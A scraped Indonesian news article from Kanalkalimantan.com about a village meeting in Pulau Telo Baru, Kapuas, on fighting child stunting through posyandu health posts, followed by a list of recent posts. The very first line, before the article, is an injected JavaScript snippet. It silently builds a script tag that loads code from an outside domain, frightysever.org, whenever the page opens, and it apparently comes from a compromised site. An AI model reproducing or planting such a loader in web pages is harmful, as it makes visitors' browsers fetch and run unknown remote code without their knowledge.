(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Posyandu Garda Terdepan Penanganan Stunting di Desa Pulau Telo Baru


KANALKALIMANTAN. COM, KUALA KAPUAS – Kasus stunting masih menjadi perhatian serius di Desa Pulau Telo Baru. Hal itu disampaikan Muhammad Jamil, mewakili Puskesmas Pulau Telo, dalam pertemuan penanganan stunting di aula desa, Rabu (11/3/2020) pagi.

Di hadapan kader posyandu, Jamil memfokuskan pembahasan bagaimana cara menekan angka stunting dan kematian ibu dan anak dalam proses kehamilan dan persalinan. “Ini masih menjadi titik fokus kita. Desa Pulau Telo masih menjadi perhatian besar penderita stunting. Dan itu bisa dicegah dengan mengubah pola hidup sehat selama masa kehamilan dan tentunya juga bagaimana mengurangi resiko kematian ibu dan anak,” ujar Jamil.

Berdasarkan data riset kesehatan daerah, stunting di Kabupaten Kapuas mencapai angka 41,5 persen. Untuk itu, Jamil menilai lewat Posyandu adalah cara efektif. Bagaiamana harus ditingkatkan perannya dalam membuat terobosan.

“Posyandu tentunya juga gerbang dalam penanganan ibu hamil dan menyusui. Posyandu jadi tempat penanganan malnutrisi, pendidikan bagi ibu hamil dan pasangan usia subur, bahkan tempat pendidikan anak usia dini,” tambah Jamil.

Sementara Kepala Desa Pulau Telo Baru Gunawan, mengapresiasi langkah yang dilakukan TP PKK atas keseriusannya dalam penanganan stunting. Dikarenakan data terakhir Maret 2020, Desa Pulau Telo Baru masih menjadi daerah dengan jumlah penderita stunting cukup banyak.

Kepala Desa Pulau Telo Baru Gunawan

“Semoga peran kita semua, termasuk TP PKK, pencegahan stunting di Pulau telo baru bisa dilakukan. Untuk itu kader mesti aktif dalam pelayanan dan masyarakat juga aktif memeriksakan diri ke posyandu. Program ini bisa berjalan dan bermanfaat bagi masyarakat yang membutuhkan,” katanya.

Pelaksaan penanganan stunting di Desa Pulau Telo Baru, Kecamatan Selat, berkerja sama dengan Puskesmas serta kader Posyandu dengan sasaran 18 balita. Kemudian 3 balita masih dalam penanganan gizinya. Kegiatan tersebut diwarnai dengan penyerahan bantuan susu kotak kepada warga yang ikut kegiatan penanganan stunting diserahkan langsung oleh Kepala Desa Pulau telo baru. (Kanalkalimantan.com/Ags)

 

 

Reporter : Ags
Editor : Cell

 


Desy Arfianty

Recent Posts

Hari Kesehatan Sedunia 2025: Awal yang Sehat, Masa Depan Penuh Harapan

KANALKALIMANTAN.COM - Hari Kesehatan Sedunia yang dirayakan pada 7 April 2025 memulai kampanye sepanjang tahun… Read More

3 jam ago

Dua Hari Kunjungan Khusus di Lapas Banjarbaru saat Momen Lebaran

KANALKALIMANTAN.COM, BANJARBARU - Libur Lebaran Idulfitri menjadi momen spesial satu tahun sekali yang dilaksanakan oleh… Read More

1 hari ago

Ada Peristiwa Tertinggal saat Rekontruksi Pembunuhan Juwita, Begini Kata Tim Kuasa Hukum

KANALKALIMANTAN.COM, BANJARBARU - Reka adegan atau rekontruksi pembunuhan berencana yang dilakukan Jumran, anggota TNI AL… Read More

2 hari ago

Hadapi Porprov XII Kalsel, PBSI Balangan Gelar Seleksi Atlet

KANALKALIMANTAN.COM, PARINGIN - Pengurus Kabupaten (Pengkab) Persatuan Bulutangkis Seluruh Indonesia (PBSI) Balangan menggelar seleksi atlet… Read More

2 hari ago

Reka Adegan Jumran Habisi Juwita, Dipiting Lalu Dicekik

KANALKALIMANTAN.COM, BANJARBARU - Jumran melakukan reka adegan pembunuhan berencana yang dilakukan kepada Juwita, seorang jurnalis… Read More

2 hari ago

Dinsos Kalsel Salurkan Bantuan Banjir di Desa Pondok Babaris, Ini Kata Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Sinergisitas antara Pemerintah Kabupaten Hulu Sungai Utara dengan Pemerintah Provinsi Kalimantan Selatan… Read More

2 hari ago

This website uses cookies.